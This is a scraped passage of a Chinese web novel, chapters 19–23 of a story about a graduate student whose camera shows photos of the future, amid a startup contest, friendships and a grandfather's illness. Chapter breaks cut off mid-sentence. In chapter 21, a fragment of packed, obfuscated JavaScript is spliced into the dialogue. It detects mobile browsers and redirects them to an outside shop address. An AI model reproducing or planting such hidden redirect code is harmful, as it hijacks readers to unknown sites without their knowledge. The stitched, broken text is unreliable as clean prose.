“是的呀，一开始我就想选辆黑颜色的车，老头子嘛，搞得那么花里胡哨的做啥？但我家老太婆讲得也有道理，街上有好多黑色的车子，要是选个有花纹的，等我去老年大学接她的时候，她一眼就能从人群里找到我了。” “你们可真恩爱哪……” 可可听着听着，都想掉眼泪了，没想到王大爷话锋一转，开始吐槽自己： “到了我们这把年纪，还有啥‘爱不爱’的。也不知她当初看上我啥，我又不是什么好东西。” 听到王世东这番直白的自我评价，樊欣他们几乎惊掉了下巴，见无人回应，他便兀自说了下去： “我也不给自己开脱，说什么苦日子过怕了，才变得又抠门又贪小，反正我一直都这样，就是你们说的那什么词儿来着……哦对，没素质！” 王世东一边说着，一边根据樊欣的指引坐到了梳妆台前，由铁军帮他做一下简单的造型，老大爷拍照，倒也不用正儿八经化妆啥的，主要是打个底再理理发型，以整洁清爽为主。 “也不知她看上我啥了，就跟着我稀里糊涂过了一辈子，我这脾气，也就我家老太婆能忍得了，现在想想，真是有点对不起她。” “您也别这么自责，之前不是还会骑车去接您爱人的么？而且您现在来拍照，不也是想给她留个念想……” 铁军一边给大爷梳头，一边喃喃安慰着，那句“留个念想”刚说出口，便意识到有些不妥，音量也渐渐弱了下去。好在王世东并不介意，而是继续说道： “我家老太婆不会骑电动车，老年大学离家这么远，坐公交要七转八绕的，太麻烦。” 看着自己映在镜子中的造型，王世东显得很满意，还补了一句： “我选这条领带啊，就是想让她记牢我的样子，万一后 19. 第19章 《我的相机能看到未来》全本免费阅读 “正式比赛提前到明天了？怎么现在才通知？” 徐可可这会儿正在H市的酒店里，提前为接下来的学术交流做准备，安顿好后就给樊欣打来电话询问情况，没想到却被告知——校级选拔赛的时间，临时提前了一天。 “是啊……好像是因为有个专家评委的安排有变，所以比赛的时间做了调整，我们也是今天彩排的时候才收到消息的。” 天气逐渐转凉，天黑得更早了。 樊欣一边和可可通话，一边倚着宿舍阳台的栏杆看星星。今晚薛蕾又出去约会了，铁军正在全神贯注地背诵项目的财务数据，樊欣便一个人躲到阳台小憩。 “那郑虔他……他赶得回来么？” “不好说，我推算了一下时间，还真有点悬。不过，魏万的手气不错，他抽的序号比较靠后，还能搏一搏。” 校赛需要各队安排三名选手上台，一人负责汇报，另外两人负责答辩，因为评委最关注技术和财务方面的问题，因而“灵犀”项目上报的名单为魏万、郑虔和铁军三人。 “欣子，不管结果怎样，真的很谢谢你。” “啊？谢我？谢我做什么？” 樊欣被徐可可突入起来的道谢弄得有点懵。 “要不是你，我都没机会体验这样的比赛，就知道埋在图书馆看书、写论文。我之前参加过的实践活动，都和这次不一样：我们六个人，有不同的背景，来自不一样的专业，为共同的目标一起努力，能有这样的经历，我真的很开心。” 之前，樊欣总觉得团队的成员都是被她拉来的，自己也给大家添了不少麻烦，万万没想到可可竟会这么说。 挂了电话后，她取出随身携带的相机，换了个镜头，带着它一起仰望星空。没想到，这一回照片的数量竟又出现了异常。 什么情况？往天上拍，都能有情况？难不成，是它预感到有ET降临了？ 樊欣紧张得屏住了呼吸，在相机播放界面点击了朝后翻动的箭头…… 屏幕上的内容很单调，如黑色绸缎般的夜幕间，星星点点，但画面的中间，好像还有一束银色的线条——这是，流星？ 看到流星，樊欣的第一反应就是赶紧许愿： “请保佑我们晋级省赛吧！” 她一边十指紧扣，一边喃喃有词，再抬头，发现自己许愿的同时，真有流星划过天际…… *** 隔天，到了正式比赛的时间，可可在外地、郑虔在路上、魏万和铁军被安排在选手区，因而，就剩下樊欣和林龙两人结伴坐到了观众席。 樊欣看似很冷静，实则焦虑得不行，强装淡定只是想让团队的其他成员放松一点。眼看第一组选手都已经上台了，郑虔还堵在返校的路上，她随时关注着对方的动态，却有种深深的无力感。 坐在她身旁的林龙，看上去同样冷静，实则早就在心里放起了烟花。 尽管像他这样的糙汉说不出类似“今朝若是同淋雪，此生也算共白头”的句子，但对他来说，能有机会和樊欣这样坐在一起，就有种约会的感觉。 不过，他把这样的想法都埋心里了，所以表情啥的，看起来并不油腻。 “欣子，郑虔这次能赶上么，我刚问他说还在路上，现在讲到第几组了呀？” “没事儿，他应该能赶上，你专心参加学术交流，别分心。” 面对可可发来的消息，樊欣就算心里再慌，也不想将负面情绪传递给对方。 林龙倒是也提过——如果郑虔来不及上场，他可以试试看，虽然核心技术不在他这儿，可比起团队的其他人，林龙算是相对专业的了。 只可惜，主办方禁止现场临时换人，而且林龙本就属于“外援”，身份特殊，也不太适合上台。 都和流星许过愿了，应该没问题的，郑虔也会及时赶到的吧？ 樊欣心乱如麻，手心都是汗，此时，郑虔总算来消息了： “糟了！前面好像有几辆车连环追尾，又堵上了……我一下高铁就打到了车，本来可以赶上的，但回学校的路上不是在修隧道，就是有事故，哎！” “学长，你别吓我们啊……” “等下评委问到技术方面的问题，我和魏万该怎么办啊？” 这个郑虔！赶不回来就算了，还直接在群里说这些，这不扰乱军心嘛？ 樊欣越想越气，只能连连深呼吸，想尽快恢复冷静再想对策；然而，就在她迟疑的这会儿，身旁的林龙小心翼翼地推了推她的胳膊，提醒了一句： “下一组，好像就轮到我们了……” *** 等郑虔赶回来时，大礼堂的横幅和布景都还没拆，因为现场还有不少队伍想留下来合影。 “抱歉，真是太抱歉了！我真的没想到……” 他一路跑得上气不接下气的，已经准备好迎接队友的痛骂或冷脸了。 “你来啦？快一起过来拍照吧，唐老师等下还要赶回去工作呢，抓紧时间。” “啊？” 郑虔完全没想到，队友们完全没有怪他的意思，反而簇拥着他一起上台留影。 可可身在外地，便委托樊欣用手机全屏展示自己最满意的自拍照，这样一来，也算全员到齐，连同特意赶来支持他们的唐老师一起，笑盈盈地站在校赛招牌前。 合照是用樊欣的相机完成的，她调好参数后将它交给了路过的同学，照片拍得不错。 当初魏万和铁军上台时，她也曾对着舞台按下了快门，一来，是为了留下珍贵的回忆；二来，是想看看是否会发生所谓的“奇迹”。 如她所愿，当时的相机，确实再度开启了“预言模式”——照片的数量又莫名地增加了。 那一刻，樊欣只觉得自己的整颗心都被一种紧张又兴奋的情绪给包裹住了：下一张照片，又会让她看到什么呢？ 是像经典电影中的“最后一分钟营救”那样，郑虔及时赶到并上台了？还是魏万和铁军超常发挥，在台上侃侃而谈、谈笑风生、生龙活虎… 20. 第20章 《我的相机能看到未来》全本免费阅读 “我看看，拍得咋样，我没闭眼吧？” 唐老师率先凑了过来，几乎是一瞬间，樊欣方才看到的照片又不见了，相机里只剩下路人所拍的合影。 “嗐，还是不能和你们这些年轻人一起拍照，看你们一个个的，满脸都是胶原蛋白……” 换成其他时候，樊欣应该立马会接上一句： “哪儿的话？您也年轻着呢！” 这倒不完全是奉承，不知是因为心态够好还是保养得当，唐老师看起来确实比同龄人要年轻不少。 但这一回，接话的任务由魏万顶上了，因为此刻樊欣的注意力，全被刚才突然出现的照片给吸走了。 有了前几次的经历，樊欣对于这相机的魔力，几乎是深信不疑了。 在那一闪而过的照片里，樊欣看到团队里的大伙儿连同唐老师一起，在镜头前畅快地笑着。 与当前实际拍下的照片不同——“未来的影像”里，出现了团队的四位成员，拍摄时的背景海报变了，且众人还都穿着统一的队服。 看这架势，“灵犀”应该已经成功晋级省赛；可是，他们这次在校赛里，明明都给淘汰了呀…… *** 等徐可可返校时，樊欣的奖学金也下来了，便组织大伙儿一起去吃了顿火锅。 樊欣问起有没有推荐的餐厅时，可可和铁军都提到了一家近期大热的品牌： “我听同学说，那个‘汤底捞’的服务很好，她在店里被蚊子叮了，店员就去给她买‘云油精’了。” 铁军说起的这两个名词，樊欣都觉着耳熟，不过，她已经基本适应这平行宇宙的节奏了。 “我也听说了！它家服务超贴心，会帮客人庆生、表演扯面，好像还有美甲服务那种的……” 魏万听铁军这么说，还低头看了一眼自己的指甲，眼神中透着一股子迷茫。 “我不挑食，看你们咯。” 林龙边说边看了一眼另外两位兄弟——郑虔和魏万同时点点头，表示自己也没意见。 与魏万的职业风着装不同，林龙和郑虔今天都穿着简单的纯白T恤，他俩肤色偏深，但却能把那么相似的衣服穿出完全不同的风格：前者像个健身教练，后者则年纪轻轻就有了一股子遛弯大爷的气质。 既然大家都没意见，樊欣便率领大伙一道去了距离学校最近的那家“汤底捞”。 在另一个平行宇宙生活时，樊欣也常和同事一起吃火锅，那家与“汤底捞”类似的连锁品牌已然开遍了各大商场，同时，热度早就没这么高了，因而今天她也没想着要提前预约。 “失策了失策了，忘了预约……大桌起码要等两小时以上。” 可可手里攥着刚取上的号，好不容易从人堆里挤了出来，满脸的失望。 “连等位的地方也坐满了，这也太火爆了吧。” 铁军和校赛那天一样，也化了全妆，足以见得她对本次聚餐的重视。她的技术很好，以至于刚来时大家几乎都没认出她来。 “那我们现在……” 听两位女士抱怨着餐厅门口的长龙，却迟迟没表态，魏万一边尝试着发声，一边庆幸现场足够嘈杂，应该没人能听到他饿得肚子都发出了“咕咕”的响动。 此时，樊欣不动声色地举起相机朝餐厅门口按了一下快门，那声“咔嚓”的响动同样淹没在纷乱的环境中，加之她的动作看起来像是在试相机，因而无人在意。 她只拍下了一张照片，相机里的作品总数却多出了两张，说明它又开始“发功”了。 在那新增的照片里，樊欣看到在此等餐的人数不减反增，“汤底捞”门口依旧满是饥肠辘辘但又异常执着的食客。然而，这一回，相机中带有预言性质的照片下方，还出现了精确的时间——显示画面中的情景发生于两个小时以后。 既然看到了这样的照片，他们自然没必要再在此地浪费时间，还不等樊欣开口，郑虔便率先替她讲出了心里的想法： “要不，咱还是回去吃学校边上那家‘斜阳煮串’吧？我都有点饿了，留这儿的话，还不知等到啥时候才能吃上呢。” 他口中的“斜阳煮串”，就是先前李浩凡与樊欣约过的那家，距离他们所在的校区不远，主打物美价廉，在G大的学生中颇具口碑。 眼看排号遥遥无期，众人便接受了老郑的提议，一起回到了G大附近。 *** “斜阳煮串”的老板是一位留着一头卷发的儒雅大叔，郑虔以前常来这家吃饭，因而和店主相熟，唤对方为“汤老板”。 今天那几个年轻的服务生不在，汤老板亲自迎客，他热情地为在座的各位推荐了几道特色菜品，看上去对自家大厨的手艺颇为自豪。 不知是饿了的缘故，还是一起吃饭的人变了，樊欣总觉得——今天这顿水煮串串，比前几日吃的那次要美味得多。 “谢谢你们！谢谢你们愿意和我一起……” 前一次读研经历中，尽管樊欣也和舍友、同学们处得不错，但大部分时间是独来独往的；在平行宇宙里重生后，她能和这样一群伙伴组队创业、参赛，心中难免感慨。 只是，樊欣还没来得及煽情，就被可可打断了施法： “谢我们做啥？我还想谢你呢，再说，这又不是啥散伙饭。” 听到这儿，魏万有点坐不住了，忍不住问了一句： “学……学姐，我们校赛没过的话，那项目还……还继续么？” “当然，我们做这些，不只是奔着参赛去的。” 郑虔猛吞了几口凉菜，才缓过劲来，又当了一回樊欣的“发言人”。对他来说，创业大赛是个很好的契机，让他真正开始思考未来的发展方向。听他这么说，可可也顺势提出了自己的困惑： “话说，这‘灵犀相机’的设计，进展到什么程度了？虽然校赛的申报材料是我们一起完成的，但我们对这项目本身，好像还不是很了解。” 可可之所以会这么问，是因为材料中的核心技术部分是由郑虔完成的，尽管他们的商业计划书和汇报材料中都提到了相关内容，但旁人理解得不透，因而，才会出现 21. 第21章 首先，画面开始自行修复——照片中的樊欣睁开了眼，脸颊也变得瘦了一些，似乎是经历了一场略嫌粗糙的人像美颜。 继而，照片的右下角开始显现樊欣的信息——G大传媒学院数字媒体专业研二在读，年度国家奖学金获得者……相关信息还在持续更新中。 尽管“灵犀相机”对用户的信息读取还停留在文字层面，但对于那个时代而言，已然极具创新价值，且意义非凡。 “我觉得……我们之前的参赛材料，写得过于理论化了，好像都没能突出‘灵犀’的价值。要是还有机会的话，后面我来改材料好了。” 樊欣也不知道他们还有没有继续参赛的机会，她只是忍不住盯着手中的相机出神，也难以判断——郑虔他们的实验与自己那台魔力相机之间有何关联。 “欣子说得在理，我们之前急于完成材料，却没关注到‘灵犀’项目本身的意义，还有那商业计划书啥的，也写得太学术化了。” 可可接过樊欣手中的实验相机，同样露出了若有所思的表情。 *** 这一顿饭，大家吃得相当“充实”：以魏万为代表的“干饭派”饿得顾不上说话，嘴里永远是满满当当的状态；另一边，忙于讨论项目的几人也是收获颇丰、心情舒畅。 饭后，当樊欣按约定那样去结账时，却发现林龙再次抢先买单了。 “大龙，你什么情况？怎么又整这出？” 眼见樊欣的面色起了变化，似乎真有点生气了，林龙赶忙转移话题： “对了，我有事找你，等下有时间去趟工作室么？” 刚才，在饭桌上，樊欣提出校赛后想给团队成员放几天假，便于休整，无论比赛是否继续，他们的项目暂时不会停下脚步，因而更需劳逸结合。 这样一来，吃饱喝足的郑虔和魏万立马打算回宿舍睡个午觉，可可和铁军本打算陪樊欣一起回趟工作室，但在宿舍群里看到了薛蕾的“带饭申请”，便留她单独和林龙一起回工作室了。 有什么事现在不能讲，还得跑一趟呢……樊欣心有疑惑，但没问出来，权当饭后和伙伴一起散步消食了。 而此时，林龙那张棱角分明的脸上依旧没什么表情，看不出他的情绪。 直到踏进创业实训基地，他才三步并作两步，率先走入工作室并取出了一个大盒子递给樊欣…… *** 另一头，可可和铁军结伴去了食堂，同时还和薛蕾在群里讨论着： “小蕾，你今天不是在外头约会么，咋跑回来吃食堂了？” “本来是要和我男朋友一起吃饭的，但他临时有点事，我就自己回来了。” “小蕾学姐你想吃点啥？我们已经快到食堂了。” “要不帮我带份卤肉饭吧，谢谢亲啦，话说欣子怎么这么安静，她没和你俩在一起么？” “奥，你哥有事找她，把她喊去工作室了。” “咦……难道我那傻哥哥总算开窍了？你们说说，要论外形啥的，他是不是一点不输那个李浩凡？” 看到这里，铁军不动声色地皱了皱眉，还用自己的疑问岔开了话题： “小蕾学姐，大龙哥他，他是你的哥哥？” “对啊，他是我表哥，军儿你觉得他俩在一起看着咋样，搭不搭？” 还没等铁军回复，可可就替她抢答了： “小蕾我说你就别乱点鸳鸯谱了，你的饭已经做上了，再等等我们就回去了。” “好嘞！你们不信我，是没见过我哥和欣子一起吃饭时的眼神，啧啧啧，直勾勾的，我之前都没加过他那样……” *** 樊欣接过林龙递来的盒子，觉得有点懵。 根据外壳的信息，她一眼就明白了盒子里头是啥，但仍是不了解对方的意图。 “这是？” “相机。” “我知道这是相机，但这是……” 樊欣看着手中的盒子上赫然印着5DMarkIII的相关参数，包装都是全新的。 “这相机，是给你的。” 听林龙这么说，樊欣惊得讲不出话来，这台相机素来价格不菲，更何况作为新品发售的那两年……自己与他非亲非故，而且摄影工作室先前的收入都投入项目研究了，林龙都没拿到过工资，纯属义务劳动。 现在他要送自己这样贵的相机，完全没有道理啊。 “是这样的，我不确定小梁之前有没有和你说清楚，你买的那台相机，是二手货。” “二手？” 樊欣像被触发了什么开关似的，抓紧回忆着和小梁交流时的片段，尤其是买完相机那会儿，她匆匆忙忙接电话去了，那小哥应该是和自己说了些什么，但当时她并未在意。 “对，我一直想和你再确认下，只是之前没找到合适的机会。所以，这一次我索性带来了这款相机，小梁说你当时好像对它很感兴趣，可以直接给你置换，不用加钱。” 但说实话，即便自己买到的复古相机是二手货，它的价格也非常良心，樊欣一点也没吃亏，哪里还需要补偿？ 另外，这两台相机的价格差别这样大，对方却提出了这般不合理的方案，难道说——林龙也知道自己这台相机的秘密，所以在设法取回它？ “你这也太……太大气了。不过，我那相机用着挺好的，用不着换……但我有点好奇，你是去哪儿淘到的二手机呀，方便说不？” “这事儿啊，说来也是个巧合。我去供货商那儿取货的时候，见这款机型挺别致，就随口问了一嘴，老板娘也不大了解它，就低价给我捎上了。” “那你现在……是想把它换回去？” “我只是正巧在和小梁聊天的时候提到了，就想到你会不会更想要这台5DMarkIII，或者，两台都留着也行，只要你喜欢。” 话一出口，林龙便意识到这样的建议听着有点“太超过了”，生怕自己圆不回来，轻轻地红了一下脸，还好樊欣并未在意，她还沉浸在对于林龙是否了解相机特质的犹疑中： “那你之前试用过我这台相机么，有没有发现……发现什么不对劲的地方？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12867697|134783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “没有没有，这个你不用担心，虽说是二手相机，我们也都保护得很好，不会随便动它。如果觉得不好用，你就把这台新的拿回去好了。” 见对方完全误解了自己的意思，樊欣就更难判断了：要是林龙不知道这相机的秘密，为何会主动提出这种亏本的交易？还有，之前一起吃饭那次，薛蕾说他总是盯着自己，怕也是因为这事吧？ 可是，若林龙已经知道这相机的不寻常，现在怎么会是这样的反应？真叫人捉摸不透啊。 见樊欣拧着眉陷入了沉思，看上去很是烦恼的样子，林龙倒有些不知所措起来，不知是不是自己好心办了坏事。 后来，在樊欣的坚持之下，他还是将新相机带了回去，并答应找机会帮忙打听下那台二手相机的来源。 *** 待樊欣回到宿舍的时候，薛蕾也吃完了午餐，正跟着铁军学习织围巾呢；徐可可则忙着用电脑检索信息，口中还念念有词道： “他们怎么都说小动物保护协会没这个人啊，不应该啊……但还真……真就啥也查不到。” 樊欣向来只在与自己有关的事上略显迟钝，作为局外人时，倒机灵得很，她一下就看出来了——可可是对那天来工作室拍照的帅哥徐瑞祥念念不忘，薛蕾则打算给自己的暴力男友送温暖呢。 当下，明明已临近初秋，整个宿舍中却充满了春天的气息，樊欣都觉得自己都有些格格不入了。 “欣子，我哥找你啥事呀？” 薛蕾暂时放下了手中的毛线，捏了捏酸胀的胳膊，对着樊欣八卦起来。 “没啥，就是之前在他家买了这台相机嘛，来给我解决下售后问题的。” “对了，欣子你今天带了相机怎么都没给我们拍个照啥的呀？” 可可也被她俩的对话吸引，忙不迭扭过头询问樊欣，但想了想，又自行解开了心头的疑惑： “不过，今天中午确实太赶了，吃个饭咱还临时转场来着，后来又忙着讨论项目的事，都把拍照这茬儿给忘了。不过，反正后头有的是机会呢。” “对呀，你们都是一个团队的，经常聚在一起……要不，欣子你先单独给我来一张？等我摆个造型哈。” 聊到这里，薛蕾突然想到可以让樊欣帮自己拍下织围巾时的照片，以此证明这份饱含心意的礼物是由她亲手打造的。 这样简单的要求，樊欣自然无法拒绝。于是，铁军帮忙补妆，可可用手机的电筒功能充当简易补光灯，樊欣身兼动作指导和摄影师，一道兴致勃勃地为薛蕾拍起照来。 因为薛蕾的爱心围巾尚处于起步阶段，她便先将毛线绕在了手腕上摆出了一个造型，就像小时候帮妈妈绕线团子那样，颇为可亲。 此时的她，神情俏皮地抬眼看向樊欣，这个状态很快就被后者的镜头给捕捉下来了。 “稍等，我先看看效果哦。” 樊欣低头查看薛蕾照片的时候，竟发现相机里显示的数字又出现了异常，她下意识往后翻了一页——接下来所见到的场景，惊得她差点没藏住自己的情绪…… 22. 第22章 “怎么啦？欣子你这是啥表情？” 尽管樊欣已经在努力克制自己惊讶的情绪，但薛蕾还是捕捉到了她的异样。 “没……没啥，就……就是发现蕾姐又美了。” “重生”后的樊欣相较之前，心思活泛了不少，因而能迅速选择对方爱听的话搪塞过去，避免了尴尬。 果然，听她这么说，薛蕾的嘴角便扬起了新的弧度，一边嗔怪、一边催促道： “哎呀，别给我整这出啦，快点，再给我来两张，等等我换个动作啊！” 见拍摄对象这么有兴致，樊欣也只能配合，但仍是有些心不在焉。 因为，她刚才在相机里见到了令人难以置信的一幕—— 莫名新增的那张照片里，薛蕾摆出的动作和她手缠毛线的造型有相似之处，然而，她的状态、服装、手头的物件以及所处的环境，与当下都天差地别。 那个薛蕾，一脸憔悴、身穿橙色马甲、纤细的腕子上戴着一副明晃晃的手铐，困于铁窗之内。 相机自行生成的照片下方，暗暗标注了时间——那是三年后可能在薛蕾生命中出现的场景，时间尚早，但也足够骇人。 同样的她，同样向前伸出的那双手，当下正为爱人织着围巾，满脸的甜蜜和喜悦；三年后，双手已被束缚的她，却已对未来失去了希望…… 怎么回事？ 尽管在其他人几人查看照片的时候，那张“预言之作”就消失不见了，但那画面对樊欣造成的心理冲击却久久难以散去。 在她之前生活的那个平行时空里，薛蕾的际遇也很糟心。 樊欣还记得自己刚工作一年多，就收到了对方的请柬，薛蕾还请她和可可担任了婚礼的伴娘。婚宴很美好，现场布置得很童话，樊欣还接到了捧花，不过后来她自己的爱情仍是无疾而终罢了…… 当年，薛蕾争取到了留校的机会，却在婚后放弃了人人艳羡的工作，专心照顾起自己的小家庭。以她的学识和能力来看，这样的选择确实是太可惜了；而且，她丈夫的家暴行径愈演愈烈，即便后来有了孩子，也毫无收敛。 在失去独立的经济来源后，作为全职主妇的薛蕾更是时时被管束着，也逐渐不再与昔日的同学们联系。 数年后，樊欣也是偶然在超市门口遇到了独自带娃的薛蕾，一眼都没能认出对方。因为，当年风风火火的干练美人，当时已被生活打磨成了一副头发蓬乱、眼里无光的样子，叫樊欣都不忍心上前相认。 不对劲呀。 尽管樊欣记忆中的薛蕾后来过得并不好，但起码还平平安安的，不至于沦落成阶下囚。但这个时空中的她，怎么会在三年后就被改写了命运？ 这个世界的薛蕾，到底经历了什么？难道，是她终于受不了男方的暴力对待，奋起反抗时却做了出格的事？ 关于这些，此时的樊欣，都无从猜测。她完全不知道自己该做些什么，只是有种深深的无力感，甚至觉得与正天真憧憬着未来美好生活的薛蕾同处一室，都有些窒息。 好在，还有时间，她还能慢慢调查，尝试帮助对方扭转命运；但现在，她只想赶紧离开这儿。 “我回家一趟哦。” 樊欣简单收拾了一下，便逃也似的离开了学校。 *** 走出校门，樊欣才意识到自己确实有一阵子没回家看看了。 刚“重生”那会儿，她还信誓旦旦地想着——这一次，要好好珍惜和家人相处的时光，只是手头一旦有了任务，却又暴露了工作狂属性。 当然，这其中还有一个原因便是交通不便，于是，她在回家前，先研究了一下现有的积蓄，然后赶到二手车市场，根据自己的情况迅速敲定了一辆。 这一次回去，樊欣特意没有提前联系家里，生怕他们又会做上一大桌子的菜，太辛苦。 原本研二这年的樊欣只是个“本本族”，鲜有开车上路的经验，但这次穿越过来的她，已然是个老司机了。 一路吹着夏末的晚风，赏着天边橙红的斜阳，樊欣才觉得自己总算是“活过来了”。重生的谜团、脑海里的声音、相机的预言还有比赛的压力，千头万绪，叫她心乱如麻。 没关系，回家吧，回家缓一缓，慢慢就都会好的。 樊欣这样想着，不知不觉间已然将车开进了小区，见父母的车已经停在了车位上，便猜到他们也已经下班回家了，还故作神秘地给妈妈打了个电话： “妈，下班了么？” “欣欣啊，你……你怎么现在突然打电话回来了呀？” 电话那头，妈妈的语气听着有点怪，樊欣的内心顿时窜出一种不好的预感。 “想你们了呀，你们现在……” “今天，我们不在家呢。” “不在家？” “对，我在……在沈阿姨家里呢，还有你爸他……他出差了。我先不和你说啦，你自己在学校里好好的哦。” 言罢，妈妈不由分说地挂了电话。 樊欣还没搞清楚状况，就突然看到了一个熟悉的身影从自己家的楼道中走了出来——妈妈？不是刚说自己不在家里么？ 更离谱的是，此刻的妈妈手里拎着几个袋子，匆匆忙忙跑进了自家车的副驾，车内灯光亮起时，樊欣看到爸爸也在车上，根本不存在“出差”一说。 他们，究竟有什么事瞒着自己呢？ 原本，樊欣想要冲上前直接问个明白，只是没想到自己犹豫的间隙，爸爸已经一脚油门将车开出了小区，她赶紧收回愈发杂乱的思绪，跟了上去。 *** 父母的车，在离家最近的一处医院停下了，而樊欣心头的疑虑也更重了，她不想继续猜下去了，便直接追上去问道： “爸、妈，你们来这里做什么？” 他俩都被突然出现的樊欣吓了一大跳，但事已至此，瞒不下去了，只好说出实情： 原来，是外公因小中风而突然入院，父母知道她近来在忙比赛的事，便想着过一阵再告诉她的。 在樊欣的记忆中，研二那年的外公身体还算硬朗，他常年独自居住，不但不愿麻烦小辈，还时常会做些好吃 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但病房里的夜晚，并不安静：喘息、咳嗽、翻来覆去的病人和陪护，还有门外传来的各种交谈声，起起伏伏，有种小心翼翼的嘈杂。 樊欣睡不着。 倒不是因为她对声音有多敏感，只是心里有太多想不清、放不下的事，所以有点不安。在折叠床上休息了一会儿，确认外公的情况较为平稳后，樊欣索性悄悄爬起来，打算到病房门口去透透气。 这会儿探望的时段就快过了，因而走廊里还留着一些家属在叮嘱、或道别。 樊欣向来不爱管闲事或是凑热闹，便打算径直跑去洗手间冲一把脸，但经过一间独立病房时，却被一道熟悉的声音留住了——那是一种年轻的男声，应该是最近才接触过的。 她下意识地回眸一瞥，又赶紧退到了问询台的柱子旁，确定对方看不到自己后，才谨慎地探了探脑袋。一边值班的护士看到了偷感十足的樊欣，但他们每天都会接触到形形色色的人，倒也见怪不怪了。 那道声音的主人，是薛蕾的男友。这会儿，他正在和几位年长的男子握手寒暄，他们身旁还站着一个怯生生的女孩子，个子不高、中等身材，看起来也是个大学生模样。 “小江啊，今天真是麻烦你了，还一起陪到这么晚。” “应该的，张叔叔，现在岚岚来G大读研，也成我学妹了，以后有什么需要，我一定随叫随到。” “来，岚岚，赶紧加一下你江涛哥哥的联系方式。老江，咱孩子们刚出生那会儿，是不是还给他俩订过娃娃亲来着？” “哈哈，老哥你还记得这事儿哪？不过，真没想到你高升后正好调回G市了，说明咱们两家缘分不浅呐！” “当然记得，以后多多联系啊，这么晚了，我家老爷子也休息了，让护工陪着就行。我们先回去吧，回头让你家小江多带带我们岚岚啊。” 在他们解散之前，樊欣就先闪进了洗手间里，不知为何，她总觉得自己好像在哪里见过那个名叫岚岚的姑娘…… 23. 第23章 樊欣之所以见到薛蕾的男友就想躲起来，一来是因为自己之前吼过他，二来则是想看看能否收集到一些线索，以便解开薛蕾入狱之谜。 原来，江涛今天临时决定放女友鸽子，是来医院看望亲友的长辈来了，这倒可以理解；还有那中年人口中的“娃娃亲”，听上去也不过像个玩笑罢了，毕竟现在都什么年代了，“父母之命、媒妁之言”早就过时了。 倒是那姑娘的脸，叫樊欣陷入了新的谜团之中。根据他们的谈话可知，这岚岚应该是G大研一的新生，按理说樊欣和她并不存在什么交集，为何会觉得自己曾见过对方，而且并不是那种擦肩而过的偶遇。 不知不觉间，脑中待处理的事件越来越多，樊欣有些疲惫，只觉一阵困意袭来，她便老老实实回去休息了。 *** 翌日，樊欣早早就被病房里里外外的动静给弄醒了，但外公醒得更早，只是安静地眨巴着眼，不想惊扰她。 见她也起来了，才虚弱地吐出两个字来： “汤圆……” 邻床那位陪护自己老伴的大婶听后，笑嘻嘻地逗起了樊欣： “看来，你外公恢复得不错呀，都开始惦记吃汤圆了，但这糯米玩意儿不好消化，再馋也得等等啊……” 一开始，樊欣也没反应过来，只是顺着大婶的话应了一声。但又觉着不对劲——外公爱给别人做吃的，但自己对食物没有多大渴望，这会儿身体还没恢复，怎么就念叨着“汤圆”，还一脸急切的模样？ 糟了！此“汤圆”非彼“汤圆”！外公入院匆忙，狗子还独自在家呢！ 待妈妈过来换班后，樊欣便迅速赶到外公家，还没进门就先看到了那颗努力朝外挤动的粉色小鼻子。 樊欣将汤圆抱进屋里，喂了些奶粉和水，才让它缓过劲来。小家伙又饿又渴，见不着外公心里着急，成天在门边守着，又乖又倔。 最近发生的这些事节奏太快，像有只无形的大手在推着她走，让人无暇冷静思考。比如现在，樊欣刚安顿好汤圆，又接到了唐老师的电话： “大小姐，你们那项目也需要一起上传网审材料哦。” “但我们在校赛……” “是这样的，主办方给了每个学校相应的参赛名额，但有个前提——就是参与网审的项目要达到一定的比例。” “……” “虽然我们这个项目没通过校赛，也没获得专家指导，但凡是在校里备案的项目都需要上传最新的材料，就当是帮帮其他组啦。” 尽管唐老师说得很含蓄，樊欣还是从中听出了“陪跑”，甚至“炮灰”的意味。也就是说，虽然他们的项目已经被G大放弃了，但还需要他们充当一个背景基数，以此提升那几个重点项目的晋级概率。 这时的樊欣，毕竟已经有了十年的工作经验，不再是个情绪化的单纯学生了。她不想让唐老师为难，便直接应了下来。 只是，这次回家比较匆忙，电脑也没带，她又不想太麻烦团队的其他成员，在和父母确认过外公那头的情况后，就决定先赶回学校去完成这项任务。 临出门，见汤圆还“嘤嘤嘤”地绕在自己脚边，像是担心自己又会被抛下，樊欣只觉一阵心疼。想来最近大家都顾不上它，不如，这两天，自己先把汤圆带上？ 于是，一人带着一狗，载着一辆有些年头的二手车，上路了。 樊欣自然没法把汤圆带进宿舍，但这两天工作室应该没人，加之汤圆被训练得很好，呆在那儿问题不大；再不济，创业园的宠物店也能提供寄养服务。 就这样，樊欣牵着汤圆来到工作室，准备独自熬夜奋战一晚，将项目的材料好好完善后再上传。 但门一打开，她竟发现——大家都在。 “你们……你们怎么会在这儿？” “校园网发布了要上传材料的通知呀，我们想着你好久没回家了，就先别打扰你，我们来做就好了。欣子，这是……” 可可见到樊欣，也有点意外，但她的注意力，很快就被对方身边那毛茸茸的小家伙给吸引住了。 为了道出将汤圆带来的原因，樊欣简单介绍了一下家里的情况，大家纷纷表示理解。除了魏万的笑容略显勉强，其他几位都很快被可爱狗子给征服了。 “这是哪里来的香香的小宝贝呀？” 一向腼腆的铁军见到汤圆后，也受到了感染，显得活泼了不少。 “汤圆能常驻么？我可以负责遛它，顺便减减肥。” 郑虔也停下了手头的活计，对狗子爱不释手。 令樊欣没想到的是，在这群人中，汤圆最中意的反倒是看起来有点凶凶的林龙。汤圆似乎是能感受到众人对它的喜爱，在现场巡回撒娇了一圈以后，就一头栽进了林龙怀里，蹭个不停。 “汤圆，收敛一点啊，别闹。” 见狗子对林龙这般热情，樊欣都怕它打扰到对方。一旁的郑虔剥开泡面肠，想以此诱惑汤圆，也完全不见效果，弄得他都有点吃醋了： “龙哥，你身上该不会有类似‘狗薄荷’的东西吧，汤圆怎么就盯着你啊？” 